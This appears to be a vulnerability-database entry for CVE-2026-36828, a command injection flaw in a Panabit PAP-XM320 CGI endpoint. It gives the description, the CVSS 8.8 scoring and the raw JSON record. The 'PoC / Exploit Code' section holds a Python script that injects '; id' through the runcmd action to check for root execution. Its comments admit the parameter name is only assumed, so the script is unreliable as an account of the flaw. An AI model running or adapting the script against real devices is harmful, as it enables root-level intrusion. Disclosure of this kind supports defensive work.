Security Vulnerability Report
中文
CVE-2026-36828 CVSS 8.8 HIGH

CVE-2026-36828

Published: 2026-05-19 17:16:22
Last Modified: 2026-05-19 19:16:50

Description

A command injection vulnerability exists in the /cgi-bin/tools/ajax_cmd endpoint of Panabit PAP-XM320 up to and including v7.7. The CGI component allows authenticated users to execute arbitrary shell commands with root privileges via the action=runcmd parameter.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Panabit PAP-XM320 <= 7.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_host = "http://192.168.1.1" vulnerable_url = f"{target_host}/cgi-bin/tools/ajax_cmd" # Attacker credentials (low privilege required) username = "user" password = "password" # Establish a session session = requests.Session() # 1. Authentication (Placeholder for actual login logic) # login_data = {"username": username, "password": password} # session.post(f"{target_host}/login", data=login_data) # 2. Exploit Command Injection # The vulnerability exists in the 'action=runcmd' parameter. # We inject a command to execute 'id' to verify root privileges. payload = "; id" # Command injection separator # Construct the request parameters # Assuming the command is passed in a parameter like 'cmd' or similar # or injected directly into the action parameter depending on implementation. # Here we simulate a typical POST request structure. data = { "action": "runcmd", "cmd": f"ls -la {payload}" # Injecting payload into the command field } try: response = session.post(vulnerable_url, data=data, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text) # Check if command execution evidence exists in response if "uid=0(root)" in response.text or "gid=0(root)" in response.text: print("[!] Command Injection Confirmed: Root privileges detected.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-36828", "sourceIdentifier": "[email protected]", "published": "2026-05-19T17:16:22.080", "lastModified": "2026-05-19T19:16:50.237", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A command injection vulnerability exists in the /cgi-bin/tools/ajax_cmd endpoint of Panabit PAP-XM320 up to and including v7.7. The CGI component allows authenticated users to execute arbitrary shell commands with root privileges via the action=runcmd parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://secreu.notion.site/CVE-2026-36828-3652c0ab461580f28f50ddc37ce4e1d6", "source": "[email protected]"}, {"url": "https://www.panabit.com/", "source": "[email protected]"}, {"url": "https://secreu.notion.site/CVE-2026-36828-3652c0ab461580f28f50ddc37ce4e1d6", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}